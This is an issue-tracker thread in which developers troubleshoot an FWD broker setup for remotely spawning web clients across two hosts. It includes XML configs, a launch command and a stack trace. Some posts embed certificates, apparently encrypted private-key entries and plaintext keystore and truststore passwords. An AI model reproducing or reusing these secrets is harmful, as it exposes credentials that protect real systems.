#36 Updated by Sergey Ivanovskiy about 1 year ago
My congratulations to you!
#37 Updated by Roger Borrello about 1 year ago
Sergey Ivanovskiy wrote:
My congratulations to you!
Me?? To you. Of course I wanted to take this to the next level, where I have DB server, "server" server (172.18.0.3), and "client" server (172.18.0.4), which is what this task is all about.
I used browser URL as https://192.168.1.195:8443/chui and the 8443 port would be serviced by the client. When I configured the client to accept the port, it didn't work. I went back to configure the server to accept port 8443 port and we are successful again.
So I look at ps -aef on the client. No java processes.
I look at ps -aef on the server and the spawner is in the process list.
So my question is (and Greg, feel free to jump in) shouldn't the spawner process be executing on the client? Do I need additional webClient configuration for that? Perhaps make the host 172.18.0.4?
#38 Updated by Greg Shah about 1 year ago
Web client does need the spawner on the client box. That means implementing the broker functionality (see Remote Launchers which I mentioned in item 3 of #9709-3).
#39 Updated by Roger Borrello about 1 year ago
Greg Shah wrote:
Web client does need the spawner on the client box. That means implementing the broker functionality (see Remote Launchers which I mentioned in item 3 of #9709-3).
OK... so there's more work to do on this task. I will say that I was successful breaking up run_docker.sh into docker_prepare.sh, docker_import.sh, and docker_run.sh so that we don't have a "monolith". Also that the docker compose network is now available to connect to from outside the network. TBD is making sure the prepare_dir.sh can configure the proxy information when configured.
More to come as I try to work through those documents to create a basic example.
#40 Updated by Sergey Ivanovskiy about 1 year ago
I can post the old broker configuration here.
#41 Updated by Sergey Ivanovskiy about 1 year ago
- File broker_config_for_simple_server.zip added
This is simple server project of the old testcase project, please look at the broker (client) and the server2 (server) directory.
#42 Updated by Sergey Ivanovskiy about 1 year ago
The server directory should have the following settings
<node class="process" name="broker1_process">
<node-attribute name="enabled" value="TRUE"/>
<node-attribute name="description" value="broker1_process"/>
<node-attribute name="server" value="FALSE"/>
<node-attribute name="alias" value="broker1"/>
<node-attribute name="broker" value="broker1"/>
</node>
.......................................................
<node class="container" name="brokers">
<node class="broker" name="broker1">
<node-attribute name="account" value="sbi"/>
</node>
</node>
and corresponding private and certificate keys
<node class="container" name="certificates">
<node class="container" name="cas">
<node class="bytes" name="p2j-root">
<node-attribute name="value" value="MIIEUjCCAzqgAwIBAgIMXRMljS3ZnzOyaEusMA0GCSqGSIb3DQEBCwUAMIGnMRAwDgYDVQQIDAdHZW9yZ2lhMQswCQYDVQQGEwJVUzEfMB0GA1UECwwWSW5mb3JtYXRpb24gVGVjaG5vbG9neTEQMA4GA1UEBwwHQXRsYW50YTEsMCoGA1UECgwjR29sZGVuIENvZGUgRGV2ZWxvcG1lbnQgQ29ycG9yYXRpb24xJTAjBgNVBAMMHHAyai1yb290IC0gcm9vdCBDQSBhdXRob3JpdHkwHhcNMTcxMDE2MTgzMzE3WhcNMjcxMDE2MTgzMzE3WjCBpzEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMSUwIwYDVQQDDBxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmMsQQBmuHgvkvsVGy/8cM7d3vJSZt9nLU/HUkPZxpm/pQ52Ob7tJzvDkKpDfTGPdZvMnXzCxc9IsvkYPeyiaSFo9FFpPvMNzoNTkcABZDW4LiGI7HfjlGDPudP24y7xm1M3yHXi+mGkJSGUTE9fBVPHkMehVRs3D/H8eLVMRFSbBdT5MmhDrWAKF6ukPN136QhW+nHHE2Nv+2oHLClUrINWa5/biAMEcxZvGYy3dCjkb4NkcoonmZvb/H4frl06qizUtgWP2dgZa+U0WlShDzRdHtaTfgJC94KNaIjaaqC/4PopH7VBvAr6wcb834PVdQ9LXbEwgi13ThgGCpCedgQIDAP85o3wwejAfBgNVHSMEGDAWgBRf8zqWt+SCjN6PeJ/s28anmiC3YjAdBgNVHQ4EFgQUX/M6lrfkgozej3if7NvGp5ogt2IwDwYDVR0TAQH/BAUwAwEB/zAnBgNVHREEIDAeghxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5MA0GCSqGSIb3DQEBCwUAA4IBAQA/wwUgUbtoKvYNsQ9Hx/0azHx1Ti6cojvaGlxOsPHKgTvfET7//8pnB3SRonV8su9YDxtNlTrnmDW4LL4J9R3/r7x/AR+sthlarJTln5WwKu51eqxCAeUPcMpXzBj6evFFMG+kcanFY2WMJeYfitRH/aewTnoM+6EPOpIJkeQfW2jgW7e8yui1YNydxfD5ESnKrfIyEfL9DY8jezEwzdF77iycYHX2Gzn7qNiTjx8zzYz5IpKToKSFgybZwzmZSZkm5J88FXoG3TOIR9Is6lmSBinAgMz+b2QYj4/0/cBOsTfSXpddh05AIblkoedENRAv/4jVWZHAA9mPmguHyGzw"/>
</node>
</node>
<node class="container" name="peers">
<node class="bytes" name="broker1">
<node-attribute name="value" value="MIIE9TCCA92gAwIBAgIHAMbIAhfvKTANBgkqhkiG9w0BAQsFADCBpzEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMSUwIwYDVQQDDBxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5MB4XDTE3MTAxNjE4MzMxN1oXDTI3MTAxNjE4MzMxN1owgZoxEDAOBgNVBAgMB0dlb3JnaWExCzAJBgNVBAYTAlVTMR8wHQYDVQQLDBZJbmZvcm1hdGlvbiBUZWNobm9sb2d5MRAwDgYDVQQHDAdBdGxhbnRhMSwwKgYDVQQKDCNHb2xkZW4gQ29kZSBEZXZlbG9wbWVudCBDb3Jwb3JhdGlvbjEYMBYGA1UEAwwPYnJva2VyMSBhY2NvdW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuW6b+Ev/AxVJuLzEGE7vzfiE7zXnFQ5O/l63M3G5/2Wgv2IIpJKySeJw1q+/u6bpUnexFb33HC3JTx2u3vcVzYHqJb7kbY72Sp/8ferTtyl1h6iSxawj4BT1PAIiP2gvXCgQ64dtm2lJnL/sd7Q3E9lNYGjIk5clr6akLOQEjVaDUd+SrZEJTBQk31RgTej1zopddR+S7p+7c9YPz7n6xNUWsscQRFT6IQEUc3WpcUTlm2srm7HEsU0QQnrCKIE6fsIyrz3JfCdoYktIXOdUbw7S3ENQf0+IbytL5VCqskGyppVUBcrot2Q9hTWIeAJ3J12NDpSZYPexDbXA88xO6QIDAP85o4IBLzCCASswgd8GA1UdIwSB1zCB1IAUX/M6lrfkgozej3if7NvGp5ogt2Khga2kgaowgacxEDAOBgNVBAgMB0dlb3JnaWExCzAJBgNVBAYTAlVTMR8wHQYDVQQLDBZJbmZvcm1hdGlvbiBUZWNobm9sb2d5MRAwDgYDVQQHDAdBdGxhbnRhMSwwKgYDVQQKDCNHb2xkZW4gQ29kZSBEZXZlbG9wbWVudCBDb3Jwb3JhdGlvbjElMCMGA1UEAwwccDJqLXJvb3QgLSByb290IENBIGF1dGhvcml0eYIMXRMljS3ZnzOyaEusMB0GA1UdDgQWBBRbw/BL2lJqnqcwxNDgcXEJpEplLzAMBgNVHRMBAf8EAjAAMBoGA1UdEQQTMBGCD2Jyb2tlcjEgYWNjb3VudDANBgkqhkiG9w0BAQsFAAOCAQEAGmwvHde4We2J1hbeY6ZFMHDSdfoyJuE/nrow0Yad9KPGrovLLd/zNvfDdiePYgho/ezeny9056m7s/Ek6DCjepYGVMhq+VLFC8rkXNshjOIlJIcfVmXWASW/bIgwJHVoZ9ZDIM6ReaqegH9EljPc2YHG2ExVWPQGzRGMMbtzeYw2RC+creAEQKPAfHu6wLGgvGl8iynHi7pSMEo248NZYeO4TshivxaX+ZEr8ZsyWQhzvDamjBLrBW38+ZXRBygx/BgKNyeqqa7iOudPsW3d+cHK6f+yT23v964cMGAnH3NaD26t/Hw957Qztbq7zzyoZwAt1+2/jDL2wkvkmnlU/g=="/>
</node>
<node class="bytes" name="shared">
<node-attribute name="value" value="MIIE9jCCA96gAwIBAgIKAOm9ARJG3D5jWzANBgkqhkiG9w0BAQsFADCBpzEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMSUwIwYDVQQDDBxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5MB4XDTE3MTAxNjE4MzMxOFoXDTI3MTAxNjE4MzMxOFowgZkxEDAOBgNVBAgMB0dlb3JnaWExCzAJBgNVBAYTAlVTMR8wHQYDVQQLDBZJbmZvcm1hdGlvbiBUZWNobm9sb2d5MRAwDgYDVQQHDAdBdGxhbnRhMSwwKgYDVQQKDCNHb2xkZW4gQ29kZSBEZXZlbG9wbWVudCBDb3Jwb3JhdGlvbjEXMBUGA1UEAwwOc2hhcmVkIGFjY291bnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDJ+7bxEuWXHFAJzpcK80z5qY9KL/Z3bOTjER7bRA5l8ImHU6TcaOBb1k6Pv4cqaer0134tAvbW4scduN/ydN6UsqUnHe+yiYpJdYQQ44kRYC5Xy0KPbDDWbTYbUEpmbHoqmQZtF2/E11JJTybn2E34MRTL3Uw5MJiEEa139bDy6BZVS4T1qKX2Ln7X28nbBvvwKQCq0C1nKXhM2XwXMlT074vQ21O9wIYpiTL+TvvifzUdi9FhYjNL+h4leSD0MdgGLem1cu4XijW3rqGtHjmjpF82ywdBEwfBXLFJS7pp6vwPM5hpZp8SBcshno5t0z29NVg937uET5Y8NyxSd1U1AgMA/zmjggEuMIIBKjCB3wYDVR0jBIHXMIHUgBRf8zqWt+SCjN6PeJ/s28anmiC3YqGBraSBqjCBpzEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMSUwIwYDVQQDDBxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5ggxdEyWNLdmfM7JoS6wwHQYDVR0OBBYEFPDoZukmPMAl/BHs7tPOXF7ac81RMAwGA1UdEwEB/wQCMAAwGQYDVR0RBBIwEIIOc2hhcmVkIGFjY291bnQwDQYJKoZIhvcNAQELBQADggEBAGmVrMySW6s0HOrwKbysEXmSHeEu0XzhvKwxAK0GySHjnU0CNqAGxVBxGXFjAw7IUpDJ0oXSOwkKiJMBTYgPQoWcjit2Pj1CaaruSJv0q0t3Evhkg0fXk3wCTnyW/zGvXLCXYgmTQ7UqYvaMrmEcXZ4qFrM8osIQfX12mHdjwrUSrBwkdsTVXoXnMPBxXUXmJ4IsFTdr3Eoq4RevsaR8uXDLrfnxrGR0PocqKWF3WpXfPfWRHyctBslOj/KLgqk7AqwMr35QsFWJevX49ZDR00IBaNTWnAO7fdRtvhEw5YVHL4xo08rTnBROl0ybg3XzY0W1TfSG+0Bld03pvyInkQ4="/>
</node>
<node class="bytes" name="standard">
<node-attribute name="value" value="MIIE8TCCA9mgAwIBAgIDGFWiMA0GCSqGSIb3DQEBCwUAMIGnMRAwDgYDVQQIDAdHZW9yZ2lhMQswCQYDVQQGEwJVUzEfMB0GA1UECwwWSW5mb3JtYXRpb24gVGVjaG5vbG9neTEQMA4GA1UEBwwHQXRsYW50YTEsMCoGA1UECgwjR29sZGVuIENvZGUgRGV2ZWxvcG1lbnQgQ29ycG9yYXRpb24xJTAjBgNVBAMMHHAyai1yb290IC0gcm9vdCBDQSBhdXRob3JpdHkwHhcNMTcxMDE2MTgzMzE4WhcNMjcxMDE2MTgzMzE4WjCBmjEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMRgwFgYDVQQDDA9zdGFuZGFyZCBzZXJ2ZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCpkYskeNO5sLmsGU/kPvTjKkG7x/9t0RcZL224MKsZSCOoed1ZOlmQ5axdz6Y/U5E5hnkP93cZr7/Rzq4J8YPP9rD+15hMWhkWDlkWuDAtHl0bt5IgJl0Wr9/MQHrDM+YPhvZcX7hKbJtXA9uNPTZgAfMpF+IBVVudVHF3f/zZpoaad5+rOUO8jlvGxeyX9DiFFA8C54z8sP/qc3E65wwfNS/XaE1tUYvz8UjU9WGQJbS89xhavcyScc55MBhwKCnnghMTvB46QLVf2XjsAB0kJxpikx87JfufyOS/DrLEbCKIGRpzcaZQuXQzEc0JPm0G/SvIBN7QOeE7Pp4W85wZAgMA/zmjggEvMIIBKzCB3wYDVR0jBIHXMIHUgBRf8zqWt+SCjN6PeJ/s28anmiC3YqGBraSBqjCBpzEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMSUwIwYDVQQDDBxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5ggxdEyWNLdmfM7JoS6wwHQYDVR0OBBYEFGeuUv/IaHIk/JGAJkekeP66cWDkMAwGA1UdEwEB/wQCMAAwGgYDVR0RBBMwEYIPc3RhbmRhcmQgc2VydmVyMA0GCSqGSIb3DQEBCwUAA4IBAQAWShIVifevaFe0I1HAMEDOHrpGQLige5D7J67CxLkBk9Q64h5qim6tIoWNn1Dee9oe84D4m6MAICaQLLs+X1j0GDqhWEwgy+6FFvrqwIIYP6o3BvmbMEHzRWw3anEVrE3U3S4HZ7zYrJF45MKAgNCvMjbEPg8f/GbalzyP0L7NgMQnBifE8LXKlWwNn9bJWxSLa/iR9du12J8K27upSxefP10T6/ht379sPWi0ZvB27lJHTpVFl5e5BgyH71J8bYuTubCKkDpdIlBXqXRcfCVI3aSsYvf8MOUyywzlGzn6o+SWMjtCsKf6DBexLzpauwCdwX3iUZvSvKWW0fPmZybz"/>
</node>
</node>
<node class="container" name="company">
<node class="string" name="c">
<node-attribute name="value" value="US"/>
</node>
<node class="string" name="l">
<node-attribute name="value" value="Atlanta"/>
</node>
<node class="string" name="o">
<node-attribute name="value" value="Golden Code Development Corporation"/>
</node>
<node class="string" name="ou">
<node-attribute name="value" value="Information Technology"/>
</node>
<node class="string" name="st">
<node-attribute name="value" value="Georgia"/>
</node>
<node class="integer" name="validityyears">
<node-attribute name="value" value="10"/>
</node>
</node>
<node class="container" name="private-keys">
<node class="container" name="p2j-root">
<node class="bytes" name="key-entry">
<node-attribute name="value" value="TRpIE9rFKC2Q3NjloXx4bAB8CY4OnyMITPmbf+qck4mbqD5mmJrwjxn7IDqFmNydgTqMCMP9uafLxhVIEO/1xuu6EChgyQCiO33ornE46PIYaxI6Jvhz9zxl/dbcea7Rs1++RbMiDwulC1h3GImEKWGR5ZM+MY3AdnkzjalpA/9Ntc6suk++4AFs5hoD4NMcyI7dO+oy2xxQym+TsavdjU07Xbwc0F4qksTXPpM4HPhv/orkL2wPaS2wWAK3YqLTH4r2JCEAMnPitFUeWuKGC1EMuGxKsaBykh7WCXWWauISeMbxrT7fK7Z3Cfz+8X2M4XChumy15Izyc2FC20SRGz++agsM7Iilit1aiMekxz0Vo3qVapUNFvr1fpbHDc11hUzIFbPqK6jaRdf35LSAGKt15ppdQkFUorRByjpFFJdAlJu+tFDSz29nrKgy7MHI3Szoin/L/moKgGMMVPty00DLJb0K6ELdwoR7Y65O/2sEsr2xBHEtqn/Y6IwvNKgDD0tjyJSzIuiwfjYPqsuy2g2hZ9zAoUlUoSF3281EpXg4+O+T9zZBE4ksFTMSvn2siPEIP7TkKPUjYr8fmvv0GyZJEvRYIhQg0Kt45A7WHiUokhkDFJnRub83js+gwJSZzyPBj/3WcThQKpTA0r5AqfPRy7G//+6oG5b4WdAbdBnvK2NGZPVPF7YwNkIFsrvnEkWp3IV6bZ750o5M5DoAoAGu50HK3jLP502R6eJp6jCBAB+Yuz1F9g5udsJr72iqAgsXf0naL/yfOtBsf+V/jPGfTtD4VuT4Duii3FjOuVYdQrd4+Nkq4hWCSIyiEAQcq+XuSBFbP02CpsDg8u7aQcFn7bAY7gG+9W94NQrkrk0rucOviEOLeAYTiZ/Ncgp4A6ujL1P2YZTz/Gq+Bt3WB0ZTZV1v4UCIelv+N+qKpLRXZoWfr8OXoYp7f59Lc1lGDvbYGFIQjmValURPZmFq3uDCDloYDj5AuDc8JpPy+8Ivgxu7OH/XmTlYxVeSKIyWXvAyQk3e6M4ikUO2Y1EHuTaiTjbw/QNuJSRv6ilhJ/gyMrXDEoncv+Wa5vAYoSumZn61wwjCw6JRI7hQ01EEanHOUBjeVLQBkv4V2a65Jhg8jZHHvmNBFhcwLgSENYAOu8TL/N8AXkDpCrdow7swWrWD2XWS/8LePRcCEURnG41WeRkQAxPq3UwL8uQpo23+ndy4K/ZM40kFBX0bIOA8BOmYzxpVAt4zre6FEtDKe5lQ7I/e5q/lO2qbXfGu5A1o51yDupp6b29dpbTDKaRGKGLhwrmO5IQeIlJ22g3s/sKEuolYij/yh0ystLDHLwJRA+9InZuzItw7XbL0B5jW6/wBMJyuq0hzx7hDemIKLOghM8uO+ogs5rJ1DT+he2GUCwPJ3MDy/B5pttqyyfMCcpy+T4fMaOZjSdvH7T1WjIZR4nhF6Ai/62cgXFb7uvu1fYtnZu320H0OzrE1MVTBMyCct0fhqh8jWBUgkFwZ9Az6Q0he9g5GdfVGoc6vMq8p+CmSwROO+fwZyjb60nuUf4NJnscsm39RJdVGLGmkE0qofmfamXvcxYsscgkNkeLMzOW4qfx1UvqscgIqeHKkszPbgSUBA0dGZ731fYC3P+E="/>
</node>
</node>
<node class="container" name="broker1">
<node class="bytes" name="key-entry">
<node-attribute name="value" value="Vw5tGVLCLJ9RJfeqMIJSvLzKHXKWklHKrM7Kv5qe4Yqv0i2TvANkmrwSobRsj43TAYausxFc3YTQpf5EYeVaU5A7/pZa7yPmQtQW/HFa4qWl51AUTUj7Dv1b3qbFVDFHkESl5AzJnlx2+woLbuKvTtQscfvJCR7eoivLwwR4RiInr8aSbuSgV0oNfnIdOPPa7iNPIgSAujQRtPN2IPD6Cj+t+unWD8ibd7NKiEAHJeGot90xAkIc8XELg87vyOd+txl5YwhFKDlkLFi4JBRsl/4EywqDns6/EhUU4QSIhI0t9Rf4YOLSTWIn5yjTqaZjwTnNv8lsGZVqg6Dj/4BM+lh2igcU1mmheCZ1kRHpPmjQDi7enZhfnmFDEv0xpYpAhL94W3UUXF4v8zKOY65vik2BOnYlZ7GKuJJYlMDVCl1fIoBqoNzXn0kY4v/ub2ssH5YkTG4Fn7c7JyGXiFO2jlChmyvpSHJTfRlFAdx/RvMrvBZgYHS3JW/S2JJc3/j7Udm8OR1thndrkYsWWqeIxkj8PdwxwOdmsaxQNlCTmxeOyYnq9QxXp2pb6VMePs/s4+nVT3MvOrEE2mCMn7PL1OktBxcfFnhLmKTI5rXuzPotEtiai65Or6AB+BWDcfnAHbeFH7HyNNr1lIHQ140ROvoxCNSQIJjk3XV3Y8TBdxMUBZesuRElmAEKIicFGB4FN2n8za5s2/D6IDu6NdOJ29iJ0H+PqhQVgC4EaoGkp7aRc14kRnVpFs85FZOAyel1bE1uPAwswC08oYV5QLgvuA/N+sTDe6+oBmOOkGk1X75c84BUWZ/RBp02spW6MvoVUe4D1W9YJO3d0DQ7PlO1bwEqQIlG/kNbrcSO/PYvdcK2S4SKBzU25nQ9F7ueJyQjtm1DDtD8Ik6EhfDXY65WbkEhhXibRRyGtjUZeL9V9damKK/kliLon66mrQTYHLEjFNIsbt6BU1Fitn7WzbJaoFf4umu50Fl5I1y8klOzD6Lmb9SZ6Xj9MR/tZmzIa7N1/HB77DxAFUMb9XDgP+f9IlgHazvXo5atWc2u1JY7HqGksz3h3KHzdVhoCnMyVrm+9TqJLmTapkER7hrROo6OVpmpBfcFyC7gA8G+UdAKaSeMyqgonI9mBAOp88VjhH2XuwgYOONUSZUADo3mMMRWjMr2UZ5fiYO0FlYPtr4aP9ifk9j9voa3U9KJ/rVqXAL+Ig+7t0lO+exnfKvJrGSe7LrzZOJ/saUH9+F8PNoJjrPZigdKxmHt7UkARRSdB2uHy6iVYwfBXuv6OcgaKHw0qRYjVKU3TaSG3rcsX29Zs7gxNWHDv73ygOv+varvQUkYIcfRFzeXoBm8QNW2RkHJ5DIMdtDZoG4E+7gzgraYVv7ewm11WVp153anoAF9wOQH71zrQORm5SH9+N/pZqGPnzLBVy0+WFXuZ80e0RJMAVgwQ8pxKK2nrZHf/yW5ro5xAEwocbXoqaIw620TzgttNy30EFM0d0xf2aRNOtL2HctqQnPXTBzyz+1Inna/8DNIHSO3qNkkyO63O8t4AuIHAiFAEPdZw/zAHyQt6m3i7DEoocfw6cSOPvqp3kvaz7PJU2h02fB+yCfMXAqzkk74v88icFynT13a+6zxXGQntEE="/>
</node>
<node class="bytes" name="key-password">
<node-attribute name="value" value="NXhZVyQ5PjlAYnZnaUQ5RmgpbldpMVhXZ01ERTkzOVE="/>
</node>
</node>
generated for this broker process
broker1.#43 Updated by Sergey Ivanovskiy about 1 year ago
The client directory settings client.xml should have the correspondent entries
<node type="client">
<client>
<mode broker="true" />
</client>
<net>
<server host="192.168.1.37" />
<server port="3333" />
<server secure_port="3334" />
<connection secure="true" />
</net>
<security>
<certificate validate="true" />
<truststore filename="srv-certs.store" />
<truststore alias="standard" />
<keystore filename="broker1-private-key.store" />
<keystore processalias="broker1" />
<authentication type="program"/>
</security>
<access>
<password truststore="d61pi96tP8MS!T^87Efcjyl1QtPs_EgvIKZ!" />
<password keystore="XL57uunOAod4(7xniwAg6e`1a0Su~)g8DRmX" />
<password keyentry="g8j4=mxVd*063QskHNuRfPJ6swd_2<JEgQX6"/>
<password masterkeyentry="5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q" />
</access>
<remote>
<retry count="10" />
<retry seconds="10" />
<spawner file="/home/sbi/opt/spawner/spawn" />
<agent host="192.168.1.37"/>
<agent user="sbi"/>
<agent dedicatedMode="true"/>
<java args="-Xmx1G -Djava.awt.headless=true -XX:MaxPermSize=64m -Djava.library.path=/home/sbi/projects/3287a/build/lib/ -Dfile.encoding=UTF-8" />
<java classpath="/home/sbi/projects/3287a/build/lib/p2j.jar" />
</remote>
</node>
#44 Updated by Sergey Ivanovskiy about 1 year ago
The dedicated mode means that
* @param dedicatedMode
* True value indicates that this registering broker client will spawn clients
* accessed only from its local host, otherwise spawned clients can be accessed
* from network.
#45 Updated by Sergey Ivanovskiy 10 months ago
Roger, 9709a has the changes that should be reviewed if they are needed for your configuration.
#46 Updated by Sergey Ivanovskiy 10 months ago
- Status changed from New to Review
Please review revision 16030 (9709a).
#48 Updated by Roger Borrello 10 months ago
Sergey, I picked this task up again, but this time I am using 2 VMs instead of Docker. It helps to visualize the configuration better.
I want fwddev1 to be the server containing the directory.xml. I want fwddev2 to be the client where users are configured. (Hotel GUI doesn't really require OS logon, but I still want to simulate the setup).
Is fwddev2 where the deploy/broker directory would be, or would that be on fwddev1 where the deploy/server directory is?
Do I need to configure proxy in the directory for this? If so, which would be the proxy?
Would the /opt/spawner directory need to exist on fwddev2 (the client)? No java process is running on fwddev2 to listen, so somehow it would need to be spawned for the web client.
And what is the URL for my browser? Is it fwddev1 or fwddev2?
#49 Updated by Greg Shah 10 months ago
The broker is how we remotely spawn clients. That should tell you where it should live.
Do I need to configure proxy in the directory for this? If so, which would be the proxy?
Reverse proxy has nothing to do with splitting the client onto other systems. It is something completely separate.
Would the /opt/spawner directory need to exist on fwddev2 (the client)?
Of course, otherwise it can't spawn.
No java process is running on fwddev2 to listen, so somehow it would need to be spawned for the web client.
Right. You need to start the broker there.
#50 Updated by Sergey Ivanovskiy 10 months ago
Greg answered first. The proxy configuration is needed only if you have a proxy server in front of FWD server.
#51 Updated by Roger Borrello 10 months ago
- File directory.xml
added - File fwd_client_20251007_145208_54643_0.log
added - File fwd_server_20251007_144253_0_0.log
added
I have on fwddev2 the ./deploy/broker directory, and the client.xml contains:
<node type="client">
<client>
<mode broker="true" />
</client>
<net>
<server host="fwddev1" />
<server port="3333" />
<server secure_port="3334" />
<connection secure="true" />
</net>
<security>
<certificate validate="true" />
<truststore filename="srv-certs.store" />
<truststore alias="standard" />
<keystore filename="broker1-private-key.store" />
<keystore processalias="broker1" />
<authentication type="program"/>
</security>
<access>
<password truststore="y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd" />
<password keystore="(G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O" />
<password keyentry="dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx"/>
<password masterkeyentry="7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x" />
</access>
<remote>
<retry count="10" />
<retry seconds="10" />
<spawner file="/opt/spawner/spawn" />
<agent host="fwddev1"/>
<agent user="fwd"/>
<agent dedicatedMode="true"/>
<java args="-Xmx1G -Djava.awt.headless=true -XX:MaxPermSize=64m -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/ -Dfile.encoding=UTF-8" />
<java classpath="/home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar" />
</remote>
</node>
There is a
/opt/spawner directory with all the files for spawning in it.
From the fwddev2 ./deploy/client directory, I run:
./client.sh --terminal -c /home/fwd/projects/hotel_gui/deploy/broker/client.xml -h fwddev1
I assume that allows the broker to be ready for spawn requests.
The fwddev1 directory.xml has the broker sections as noted above. But the spawning still happens on that server, not on fwddev2. Both server and client logs are on fwddev2.
#52 Updated by Roger Borrello 10 months ago
I don't think I am making the connection to the server from the broker because we try 10 times, and bail. It's is disconcerting because I was meticulous with creation of the certificate, and setting up the directory.
I will have to examine the server.xml setup, which is currently:
<?xml version="1.0"?>
<!-- Server side bootstrap configuration
-->
<node type="server">
<net>
<router threads="2"/>
</net>
<security>
<server id="standard"/>
</security>
<directory>
<backend type="xml"/>
<xml filename="directory.xml"/>
</directory>
</node>
I believe the security section needs a little more to accept a secure client connection.
#53 Updated by Roger Borrello 10 months ago
The port used in the broker's client.xml for secure connection was incorrect. I have made the correction. Now when I start the broker client, I am receiving this exception:
25/10/08 10:53:25.648-0400 | FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract com.goldencode.p2j.main.BrokerSpawnResult com.goldencode.p2j.main.BrokerClientServices.spawn(com.goldencode.p2j.main.BrokerSpawnParameters)
25/10/08 10:53:25.650-0400 | FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract java.lang.String com.goldencode.p2j.main.BrokerClientServices.ping(java.lang.String)
25/10/08 10:53:25.650-0400 | FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract java.lang.String com.goldencode.p2j.main.BrokerClientServices.getDedicatedHost()
25/10/08 10:53:25.650-0400 | FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract double com.goldencode.p2j.main.BrokerClientServices.getSystemLoading()
25/10/08 10:53:25.659-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[230])
25/10/08 10:53:25.666-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[37]
25/10/08 10:53:25.667-0400 | SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.lang.RuntimeException: Unresolvable remote export public abstract java.lang.String com.goldencode.p2j.main.BrokerServerServices.registerBroker(java.lang.String,java.lang.String,boolean).
at com.goldencode.p2j.net.RemoteObject$RemoteAccess.obtainRoutingKey(RemoteObject.java:1575)
at com.goldencode.p2j.net.RemoteObject$RemoteAccess.invokeCore(RemoteObject.java:1458)
at com.goldencode.p2j.net.InvocationStub.invoke(InvocationStub.java:144)
at jdk.proxy2/jdk.proxy2.$Proxy2.registerBroker(Unknown Source)
at com.goldencode.p2j.main.BrokerCore.connect(BrokerCore.java:535)
at com.goldencode.p2j.main.BrokerCore.start(BrokerCore.java:214)
at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:283)
at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)
Caused by: java.lang.RuntimeException: No export or no access to com.goldencode.p2j.main.BrokerServerServices:public abstract java.lang.String com.goldencode.p2j.main.BrokerServerServices.registerBroker(java.lang.String,java.lang.String,boolean)
at com.goldencode.p2j.net.HighLevelObject.getKey(HighLevelObject.java:178)
at com.goldencode.p2j.net.RemoteObject$RemoteAccess.obtainRoutingKey(RemoteObject.java:1547)
... 9 more
